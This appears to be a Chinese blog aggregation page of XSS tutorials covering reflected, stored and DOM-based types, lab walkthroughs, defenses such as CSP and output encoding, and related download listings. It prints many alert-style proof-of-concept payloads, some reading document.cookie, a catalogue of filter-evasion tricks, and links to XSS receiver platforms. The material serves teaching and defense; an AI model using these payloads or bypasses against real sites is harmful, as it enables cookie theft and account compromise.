-
2022-04-14 15:40:48
Xss漏洞原理:服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的。
危害:
1.窃取用户Cookie
2.后台增删改文章
3.XSS钓鱼攻击
4.利用XSS漏洞进行传播和修改网页代码
5.XSS蠕虫攻击
6.网站重定向
7.获取键盘记录
8.获取用户信息等分类:
1、反射型(非持久型)
反射型XSS,又称非持久型XSS,攻击相对于受害者而言是一次性的,具体表现在受害者点击了含有的恶意JavaScript脚本的url,恶意代码并没有保存在目标网站,而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行相应的脚本。
2、存储型(持久型)
存储型XSS是指应用程序通过Web请求获取不可信赖的数据,在未检验数据是否存在XSS代码的情况下,便将其存入数据库。当下一次从数据库中获取该数据时程序也未对其进行过滤,页面再次执行XSS代码持续攻击用户。存储型XSS漏洞大多出现在留言板、评论区,用户提交了包含XSS代码的留言到数据库,当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。
3、DOM型(非持久型)
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式,DOM-XSS简单理解就是不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题。
其中存储型危害最大
防御:
1、对输入和URL参数进行过滤(白名单和黑名单)
检查用户输入的数据中是否包含一些特殊字符,如<、>、’、“等,发现存在特殊字符,将这些特殊字符过滤或者编码。
2、HTML实体编码
字符串js编码转换成实体html编码的方法(防范XSS攻击)
https://www.cnblogs.com/dearxinli/p/5466286.html
3、对输出内容进行编码
在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。
更多相关内容 -
YxCMS1.4.7 xss漏洞复现docker_防止xss漏洞
2020-12-29 17:02:48YxCMS1.4.7 xss漏洞复现docker -
XSS漏洞挖掘与安全防护.pdf
2021-08-08 11:39:39XSS相关漏洞一直是无法忽略的问题,即使再好的开发工程师也避免不了写出”不安全”的代码,这次议题将深入浅出的介绍一下XSS漏洞形成与危害。 -
XSS漏洞
2019-04-05 01:14:15NULL 博文链接:https://0001111.iteye.com/blog/1440168 -
YXcms-含有存储型XSS漏洞的源码包
2021-03-17 12:46:25YXcms-含有存储型XSS漏洞的源码包,亲测真实有效可用,如有侵权,请联系CSDN管理员删除即可 -
百度编辑器解决xss漏洞
2022-03-01 09:05:57百度编辑器解决xss漏洞 -
jQuery-with-XSS 检测jQuery版本是否存在XSS漏洞
2020-09-29 15:49:26动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成XSS,原本应当是css,但为了和层叠样式表(Cascading Style Sheet,CSS )有所区分,故称XSS)的威胁,而静态站点则完全不受... -
javaweb配置xssproject,完美解决安全检测报XSS漏洞
2019-01-14 15:24:59java配置xssproject,文件包括配置步骤,需要的jar包,完整的xssproject类,并且提供的类解决了multipart/form-data类型的Request请求xss过滤问题 -
XSS 漏洞
2022-05-01 20:09:24XSS 漏洞(一)简介
XSS(Cross Site Scripting)即跨站脚本攻击。攻击者在Web页面或URL里插入恶意的JavaScript脚本,而服务器与客户端信任用户的输入,没有对内容进行限制和过滤。当用户浏览网站时,嵌入的恶意代码会被浏览器解析执行。
漏洞危害:
1. 窃取帐号,入侵者可以冒充用户身份登录后台。使得攻击者具有恶意操纵数据的能力,包括读取、更改、添加、删除;
2. 网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该页面时,用户的计算机会被植入木马;
3. 广告植入和钓鱼。攻击者可植入广告,或发送钓鱼信息,严重影响到用户的正常使用和体验;
(二)漏洞类型
1. 反射型
<非持久化>
前端发出请求时,XSS代码作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器被解析执行;
常见位置:URL(如:日期查询参数)、搜索框、查询框
2. 存储型
<持久化>
提交的代码会存储在服务器端的数据库、内存、文件系统;
常见位置:论坛评论、个人信息修改、富文本编辑器
3. DOM型
基于文档对象模型(Document Object Model)的一种漏洞。它的攻击代码并不需要服务器解析响应,其依赖浏览器端的DOM解析。客户端上的JavaScript脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行;
在客户端直接输出DOM内容的时候极易触发DOM型XSS漏洞,
如:document.getElementByld(“x’).innerHTML、document.write)
(三)XSS 检测
漏洞位置判断
1. 浏览器存在交互 -> 用户可以自定义输入内容;
2. 输入能返回到前端的页面上被浏览器当成脚本语言解析执行;
3. 使用审查元素,输入的特殊字符未被实体化标签 -> > <;
自动化工具 XSS - Strike
XSStrike is a Cross Site Scripting detection suite equipped with four hand written parsers, an intelligent payload generator, a powerful fuzzing engine and an incredibly fast crawler.
参考: 网络安全-XSStrike中文手册(自学笔记)_lady_killer9的博客-CSDN博客_xsstrike
下载地址:GitHub - Ra1dhunter/xss-strike
XSS 利用平台
自行搭建:github : https://github.com/trysec/BlueLotus_XSSReceiver
公开平台:1. 登录 - Wordpress博客学习XSS平台 2. NGXPT 3. XSS Hunter
常见PAYLOAD (注意闭合)
事件触发: '"><img src=0 οnerrοr=alert(document.cookie)>;//
内部标签: '"><script>alert(document.cookie)</script>;//
伪协议: '"><a href=javascript:alert(document.cookie)>xss</a>;//
XSS绕过
由于网站可能存在过滤机制,会对XSS攻击的敏感函数进行过滤:
1. 大小写转换;
2. 引号的使用;
3. 左斜线代替空格;
4. 对标签内的属性进行转码;
5.双写绕过;
(四)安全开发与修复
网页安全政策 CSP(Content Security Policy)
CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。开启CSP策略的方法,一种是通过 HTTP 头信息的
Content-Security-Policy
的字段;另一种是通过网页的<meta>
标签。详情见这篇文章: Content Security Policy 入门教程 - 阮一峰的网络日志
实体化标签
验证所有输入数据,有效检测攻击;对所有输出数据进行适当的编码,以防止任何已成功注入的脚本在浏览器端运行。具体如下 :
1. 输入验证:某个数据被接受为可被显示或存储之前,使用标准输入验证机制,验证所有输入数据的长度、类型、语法以及业务规则。
2. 输出编码:数据输出前,确保用户提交的数据已被正确进行entity编码,建议对所有字符进行编码而不仅局限于某个子集。
3. 明确指定输出的编码方式:不要允许攻击者为你的用户选择编码方式(如ISO 8859-1或 UTF 8)。
4. 注意黑名单验证方式的局限性:仅仅查找或替换一些字符(如"<" ">"或类似"script"的关键字),很容易被XSS变种攻击绕过验证机制。
5. 警惕规范化错误:验证输入之前,必须进行解码及规范化以符合应用程序当前的内部表示方法。请确定应用程序对同一输入不做两次解码。对客户端提交的数据进行过滤,一般建议过滤掉双引号(”)、尖括号(<、>)等特殊字符,或者对客户端提交的数据中包含的特殊字符进行实体转换,比如将双引号(”)转换成其实体形式",<对应的实体形式是<,<对应的实体形式是>以下为需过滤的常见字符:
[1] |(竖线符号)
[2] & (& 符号)
[3];(分号)
[4] $(美元符号)
[5] %(百分比符号)
[6] @(at 符号)
[7] '(单引号)
[8] "(引号)
[9] \'(反斜杠转义单引号)
[10] \"(反斜杠转义引号)
[11] <>(尖括号)
[12] ()(括号)
[13] +(加号)
[14] CR(回车符,ASCII 0x0d)
[15] LF(换行,ASCII 0x0a)
[16] ,(逗号)
[17] \(反斜杠)
2、在请求返回页面关键字符进行转义;
[1] “(双引号):"
[2] ’ (单引号):&apos
[3] &(&符号):&
[4] <(左尖括号):<
[5] >(右尖括号):>
在不影响应用的前提下,建议将cookie标记为httpOnly,同时禁用TRACE方法。
Java实现XSS防御
PHP实现XSS防御
PHP直接输出html的,可以采用以下的方法进行过滤:
1. htmlspecialchars函数;
2. htmlentities函数;
3. HTMLPurifier.auto.php插件;
4. RemoveXss函数;
PHP输出到JS代码中,或者开发Json API的,则需要前端在JS中进行过滤:
1. 尽量使用innerText(IE)和textContent(Firefox),也就是jQuery的text()来输出文本内容;
2. 必须要用innerHTML等等函数,则需要做类似php的htmlspecialchars的过滤;
富文本编辑器
不含有富文本编辑器(自定义样式)且没有使用DOM的站点
输入:过滤双引号,单引号,左右尖括号,分号;
输出:对上述字符进行HTML实体编码即可;
不含有富文本编辑器(自定义样式)但使用DOM的站点
输入:在DOM中转义双引号,单引号,左右尖括号,分号;
输出:在输出之前进行编码,如:innerHTML=encodeHTML(output);
含有富文本编辑器(自定义样式)但没有使用DOM的站点
输入:过滤双引号,单引号,分号;
输出:对上述字符进行HTML实体编码即可;
(五)深度收藏指南
(以上图片资源来自某安全公众号,收藏过久忘了是哪个,如有侵权请告知)
-
SQL+XSS漏洞修复方案
2017-04-13 11:01:30近期公司的项目遭受了SQL+XSS攻击(市面上现在检测工具很多如:AWVS/360等),现贴出项目中的修复核心代码,需要的可以参考一下 -
XSS漏洞解决方案实例
2018-08-30 10:52:06跨网站脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类... -
xss漏洞jar.rar
2019-09-29 17:46:40跨站脚本(Cross site script,简称xss)是一种“HTML注入”,由于攻击的脚本多数时候是跨域的,所以称之为“跨域脚本”。 我们常常听到“注入”...可以通过导入以下两个jar,通过配置实现xss漏洞修复,无需修改代码 -
xss漏洞安全编码系列详解
2021-06-10 04:18:45结合在csdn上web渗透测试课程(https://edu.csdn.net/course/detail/8064该课程主要讲解攻击过程),讲解xss的攻击原理及漏洞编码,现场带领大家编写补丁代码,真正在代码层面上杜绝该类漏洞的存在。 -
JSP使用过滤器防止Xss漏洞
2020-10-17 03:24:15主要为大家详细介绍了JSP使用过滤器防止Xss漏洞,具有一定的参考价值,感兴趣的小伙伴们可以参考一下 -
基于EBNF和二次爬取策略的XSS漏洞检测技术
2021-04-30 12:42:47针对传统基于渗透测试技术的漏洞检测方法中攻击向量复杂度低易被过滤、整体检测流程繁琐等问题,提出了一种基于扩展的巴科斯范式(EBNF)的攻击向量自动生成方法和XSS漏洞二次爬取策略。通过定义EBNF规则生成规则... -
XSS漏洞详解
2022-07-09 13:54:10跨站脚本攻击(Cross Site Script)为了和层叠样式表CSS有所区别,所以在安全领域叫做“XSS”。 XSS攻击,通常指攻击者在网页中嵌入恶意代码,用户访问网页或点击链接是触发恶意代码而被攻击。.........一、XSS简介
跨站脚本攻击(Cross Site Script)为了和层叠样式表CSS有所区别,所以在安全领域叫做“XSS”。
XSS攻击,通常指攻击者在网页中嵌入恶意代码,用户访问网页或点击链接触发恶意代码而被攻击。
二、XSS造成的危害
- 网站钓鱼、包括盗取各类用户账号;
- 窃取用户的Cookie;
- 强制弹出广告页面、刷流量;
- 传播蠕虫病毒;
- 网页挂马、进行恶意操作等;
三、XSS原理
XSS是一种发生在前端页面的漏洞,它的危害对象是前端用户,形成XSS漏洞的主要原因是Web应用程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端被浏览器当作有效的代码解析从而产生危害。
四、漏洞分类及利用
4.1 反射型XSS
反射型XSS也被称为非持久型XSS,是比较容易出现的一种XSS漏洞,当用户点击了一个攻击者“精心构造”的URL时,服务器端接收数据后处理,然后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据,最终造成XSS漏洞,这个过程就像一次反射,故称之为反射型XSS。
下面以pikachu靶场来演示反射型XSS的利用
pikachu靶场:https://github.com/zhuifengshaonianhanlu/pikachu
这里当我们输入到20个字符时就会发现无法继续输入了
右键选择检测会发现HTML代码对输入的长度进行了限制,这里我们将20修改即可
<script>alert('/XSS/')</script>
在搜索框中输入上面的代码成功将/XSS/回显出来,当然我们将script标签的代码换成其他的JS代码可以实现其他的操作。
4.2 存储型XSS
存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种XSS。允许用户存储数据的Web应用程序可能会出现存储型XSS漏洞,当攻击者构造了并提交了一段XSS代码后,被服务器端接收并存储,当有用户访问被注入了存储型XSS代码的页面时,这段XSS代码会被程序读出来响应给浏览器,造成XSS跨站攻击。存储型XSS与反射型XSS和DOM型XSS相比具有更高的隐蔽性,危害性也大。它们之间最大的区别在于反射型XSS与DOM型XSS执行都必须依靠用户手动触发,而存储型却不需要。
1313<img src=x onerror=alert('/xss/')>
在留言板上输入上面代码并提交,就会将/xss/回显,并且每当点击这个页面时都会弹出一个提示框
4.3 DOM型XSS
DOM的全称为Document Object Model,即文档对象模型,DOM通常用于代表在HTML。XHTML和XML中的对象,使用DOM可以允许程序和脚本动态的访问和更新文档的内容、结构和样式。DOM型的XSS和反射型的XSS大致相同都是依靠用户手动触发的漏洞。
#' onclick="alert('xss')">
我们在搜索框中写入上面的代码会出现一个超链接
当我们点击这个超链接就可以触发DOM型XSS
五、总结
XSS跨站脚本攻击漏洞产生的根本原因还是没有对用户的提交的数据,后台没有做过滤或过滤不完全,将用户输入的信息打印出来,那么攻击者就可以构造特定的 payload 来在前端执行JS语句,就造成了XSS漏洞。
防御方式:
① 架设WAF,虽然不能完全解决XSS漏洞,但可以拦截大部分敏感数据,防止黑客利用;
② 对用户的输入进行过滤,对输出进行转义处理;
③ 使用 htmlspecialchares 之类的函数,设置httponly。
-
xsstry:xss漏洞利用平台
2021-06-10 06:25:36xsstry xss 漏洞利用平台 xss 漏洞利用平台 -
【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法
2022-02-23 17:36:311. 了解漏洞验证相关概念含义; 2. 掌握XSS漏洞验证的方法; 3. 掌握XSS语句构造的5种方法; 4. 掌握XSS语句绕过的8种方法。目录
1 漏洞验证相关概念
- 常见概念
POC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。
EXP:全称 ’ Exploit ',中文 ’ 利用 ',指利用系统漏洞进行攻击的动作。
Payload:中文 ’ 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令。
Shellcode:简单翻译 ’ shell代码 ',是Payload的一种。Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。 - POC与EXP对比
POC是用来证明漏洞存在的,EXP是用来利用漏洞的,两者通常不是一类,或者说,PoC通常是无害的,Exp通常是有害的,有了POC,才有EXP。 - Payload与Shellcode
Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。 - Payload与EXP
同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的EXP,也就是说不存在通用的EXP。 - Payload模块
在Metasploit Framework 6大模块中有一个Payload模块,在该模块下有Single、Stager、Stages这三种类型,Single是一个all-in-one的Payload,不依赖其他的文件,所以它的体积会比较大,Stager主要用于当目标计算机的内存有限时,可以先传输一个较小的Stager用于建立连接,Stages指利用Stager建立的连接下载后续的Payload。Stager和Stages都有多种类型,适用于不同场景。
2 XSS漏洞验证
2.1 常见POC
可以用一段简单的代码(POC)来验证与检查漏洞的存在,常见的用于验证XSS漏洞存在的POC如下:
<script>alert(/xss/)</script> <script>confirm('xss')</script> <script>prompt('xss')</script>
2.2 反射型XSS漏洞验证
- 反射型XSS漏洞常存在于参数中。本实验在XSS-labs第一关做验证,点击网站直接开战:http://test.ctf8.com/level1.php?name=test
- 我们将URL中的参数修改为
?name=111
回车,可以看到弹出以下页面,并我们的内容显示在页面上,后续我们将测试此处是否存在反射型XSS漏洞。
- 我们将参数修改为
?name=<script>alert(/xss/)</script>
,测试是否触发弹窗。回车可以看到弹出窗口,说明网站后台未对输入参数进行过滤,存在漏洞。
- 我们右键网页,点击查看源码,如下。由于该网页没有对输入输出内容做任何的检验与过滤,导致这种异常的内容输出到客户端浏览器,浏览器对内容做解析时,将内容按script标签进行解析,故弹窗。
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level2.php?keyword=test"; } </script> <title>欢迎来到level1</title> </head> <body> <object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object> <h1 align=center>欢迎来到level1</h1> <h2 align=center>欢迎用户<script>alear(/xss/)</script></h2><center><img src=level1.png></center> <h3 align=center>payload的长度:29</h3></body> </html>
2.3 存储型XSS漏洞验证
-
存储型XSS漏洞常存在于数据库内容中,如留言板等。此处利用之前搭建的论坛网站的留言功能作为实验平台,该平台的搭建过程参考《搭建一个简单丑陋的论坛网站》。
-
我们登录访问该网站,使用我们之前住过的账号a,密码也是a。登录后返回首页,点击“我要留言”。
-
使用留言功能,留下如下的内容:
<script>alert(/xss/)</script>
。点击提交
-
再次返回首页,可以看到刚刚留下的留言。
-
点击该留言,出现弹窗,这就是存储型XSS漏洞。
-
右键该页面,查看网页源码,如下.我们看到因为我们搭建的平台没有对输入输出内容做任何的检验与过滤,导致这种异常的内容输出到客户端浏览器,浏览器对内容做解析时,将内容按script标签进行解析,故弹窗。
<html> <head> <meta charset = "utf-8"> <title>留言论坛</title> </head> <body> <h1>留言内容</h1><a href = '../index.php'>返回首页</a><hr /> 作者:a<br>标题:存储型XSS<hr /><script>alert(/xss/)</script></body> </html>
2.4 DOM型XSS漏洞验证
- 暂时没有找到什么平台适合测试,就找到了一段代码,我们将其存在phpstudy网站的根目录下的dom.php文件中,稍后进行测试。该代码中的script标签内的内容意思是,定义一个变量a并赋值为URL,为a解码,将message=后面的内容写入到DOM树中。
<html> <head> <title>DOM-XSS</title> <meta>charset="utf-8"> </heaf> <body> <script> var a = document.URL; a = unescape(a); document.write(a.substring(a.indexOf("message=")+8,a.length)); </script> </bofy> </html>
- 我们通过浏览器访问该网页,因为我们还没有给URL传递参数message,此处将内容以存文本的形式输出。
- 修改参数为
?message=<script>alert(/xss/)</script>
,回车时则出现弹窗。
- 我们右键查看源代码,发现代码与刚刚编写的一致,并没有弹窗的内容。
- 审查网页元素,则可以看到DOM树这里多出了个弹窗内容,就是上述document语句修改生成的。(有的浏览器查看结果有区别,可以试试不同浏览器的解析结果)
3 XSS语句构造与绕过
3.1 XSS语句构造方式
- 第一种:可以利用[<>]构造HTML/JS语句,如<script>标签等。如:
<script>alert(/xss/)</script> <script>confirm('xss')</script> <script>prompt('xss')</script>
- 第二种:可以利用javascript:伪协议的方式构造XSS。
<a href="javascript:alert(/xss/)">touch me</a> //利用a标签的javascript:伪协议 <img src="javascript:alert(/xss/)" > //利用img标签的javascript:伪协议,但是这种方式在IE6下测试成功,在IE8失败
- 第三种:事件驱动:事件驱动是一种比较经典的编程思想。在网页内会发生很多事件(比如鼠标移动,键盘输入等),JS可以对此类事件进行响应,因此我们可以通过事件触发JS函数,触发XSS。事件种类主要有以下几种。
- Windows事件:对Windows对象触发的事件;
- Form事件:HTML表单内的动作触发事件;
- keyboard事件:键盘按键;
- Mouse事件:有鼠标或类似用户动作触发的事件;
- Media事件:由多媒体触发的事件。
<img src='./smile.jpg' onmouseover='alert(/xss/)'> //该标签会引入一张图片,然后鼠标悬停在图片上的时候,会触发XSS代码。 <img src='./smile.jpg' onerror='alert(/xss/)'> //onerror会在文档载入失败时触发XSS,比如下一个语句 <img src='#' onerror='alert(/xss/)'> //与上一个语句相比,将文件路径改成#,一定载入失败,触发XSS <input type="text" onkeydown="alert(/xss/)"> //单行文本框的键盘点击事件,当点击键盘任一按键时触发XSS。 <input type="text" onkeyup="alert(/xss/)"> <input type="button" onclick="alert(/xss/)">
- 第四种:是利用CSS(层叠样式脚本)触发XSS的,该方法比较古老,现已基本不适用于主流浏览器,以下代码均在IE6下进行测试。
// 行内样式 <div style = "backgroud-image:url(javascript:alert(/xss/))"> //页内样式 <style>Body{backgroud-image:url(javascript:alert(/xss/))}</style> //外部样式 <link rel="stylesheet" type="text/css" href="./xss.css"><div>hello<div> //其中xss.css文本内容如下 h1 {color:red;} div{ /*width:expression(alert(/xss/))*/ backgroud-image:url(javascript:alert(/xss/)) } @ expression <div style="width:expression(alert(/xss/))"> <style>Body{backgroud-image:expression(alert(/xss/));}</style> @import <style>@import 'javascript:alert("xss")';</style> <style type="text/css">@import url(xss.css);</style><div>HELLO</div>
- 其他标签及手法,利用一些比较新的前端标签进行构造。
<svg onload="alert(/xss/)"> <input onfocus=alert(xss/) autofocus>
3.2 变形及绕过方式
- 目的:我们可以将构造的XSS代码进行各种变形,以绕过XSS过滤器检测。
- 第一种:大小写混编
可以将payload进行大小写混编,如以下例子。例子中包含两种语言,其中html语言对大小写不敏感,也就是说无论是大小写,该语言都认为是同一个函数;但是JS语言对大小写敏感,比如alert()函数,如果改为Alert(),JS语言则认为是另一个东西。
<Img Src='#' Onerror='alert(/xss/)'> //由<img src='#' οnerrοr='alert(/xss/)'>变形得到的 <A Href="javascript:alert(/xss/)">touch me</a> //由<a href="javascript:alert(/xss/)">touch me</a>变形得到的
- 第二种:双写绕过。当发现过滤器仅进行一次过滤时并将一些关键字过滤为空,则可以使用双写绕过。
<scr<script>ipt>alert(/xss/)</scr</script>ipt>
- 第三种:引号的使用
HTML语言中对引号的使用不敏感,但是有些过滤函数则对引号时锱铢必较的,因此我们可以使用不同引号来闭合XSS语句。
//以下三种均可能成功触发XSS,具体能否注入就看过滤是如何过滤的了。 <img src="#" onerror="alert(/xss/)"> <img src='#' onerror='alert(/xss/)'> <img src=# onerror=alert(/xss/)>
- 第四种:使用 [/] 代替空格,如:
<img/src='#'/onerror='alert(/xss/)'>
- 第五种:在一些关键字内,可以插入回车符与Tab符来绕过关键字检测。
<img src ='#' onerror='alert(/xss/)'> //有时候tab符插在关键字内会失效。 <a href="ja vascript:alert(/xss/)">touch me</a>
- 第六种:
- 编码绕过。可以对标签属性值进行转码,来实现绕过在,转码后的要加分号。
字符a,对应ASCII码97,十进制编码a,十六进制编码a。
字符e,对应ASCII码101,十进制编码e,十六进制编码e。 - 另外,可以将以下字符插入到任意位置中:
Tab ==> 	
换行 ==> 

回车 ==> 
 - 可以将以下字符插入到头部位置。
SOH ==> 
STX ==> 
转码后例子如下:
- 编码绕过。可以对标签属性值进行转码,来实现绕过在,转码后的要加分号。
<A href="javascript:laert(/xss/)">click me!</a> //经过简单编码 <A href="javas	c r ipt:laert(/xss/)">click me!</a> //经过插入字符
- 第七种:拆分跨站,将语句才分成多个,拼串起来后再执行。
<script>z='alert'</script> <script>z=z+'(/xss/)'</script> <script>eval(z)</script> //ecal为执行函数,将后续的字符串当成语句执行。
- 第八种:CSS中的变形。
width: expression(alert(/xss/)) //使用全角字符 width:expre/**/ssion(alert(/xss/)) //注释会被浏览器忽略 <style>@import 'javas\cri\0pt:alert(/xss/)';</style> //插入 \ 和 \0 符号
4 总结
- 了解漏洞验证相关概念含义;
- 掌握XSS漏洞验证的方法;
- 掌握XSS语句构造的5种方法;
- 掌握XSS语句绕过的8种方法。
参考文献
- 常见概念
-
selenium_xss_scanner:自动化XSS漏洞检测工具
2021-05-11 20:35:10自动化反射型XSS漏洞检测工具(DOM型、存储型待实现) 视频演示地址 技术栈 flask selenium BrowserMob Proxy Semantic-ui sqlite3 部分截图 扫描参数配置 查看运行日志 配置Payload 下载报表(样式待优化) -
brutexss一款快速验证存在xss漏洞
2018-05-07 09:47:53brutexss让安全工程师快速验证页面是否存在brutexss漏洞,使用简单方便,字典强大,自带xss漏洞验证语法,一条指令就可以验证xss漏洞是否存在以及注入方式 -
基于反过滤规则集和自动爬虫的XSS漏洞深度挖掘技术 (2012年)
2021-05-12 01:39:04为解决Web网站跨站脚本攻击(XSS)问题,通过对XSS漏洞特征及过滤方式的分析,提出了通过反过滤规则集转换XSS代码并用自动爬虫程序实现漏洞代码的自动注入和可用性检验的XSS漏洞挖掘技术,依此方法可以获取XSS漏洞... -
通过代码审计找出网站中的XSS漏洞实战
2021-02-24 18:19:08反向审计打蛇打七寸,说明在关键位置做事效率会更高,代码审计找出漏洞也是同理,因此笔者需要找出XSS关键的位置;对于目前的大多数Web应用来说,MVC模式是非常主流的一种形式,因此笔者这里将找到对应的控制器和模板... -
YXcms-含有存储型XSS漏洞的源码包(1).zip
2020-12-31 10:26:55YXcms-含有存储型XSS漏洞的源码包,亲测真实有效,可用,如有侵权,请联系CSDN管理员删除即可 -
XSS漏洞利用方式总结
2022-05-20 20:59:38最近一直在挖漏洞,碰到的XSS漏洞最多了,今天就顺便来讲一下,如有错的地方,烦请指出。 00×1什么是XSS漏洞: XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html... -
007-Web安全基础3 - XSS漏洞.pptx
2021-10-22 10:11:58007-Web安全基础3 - XSS漏洞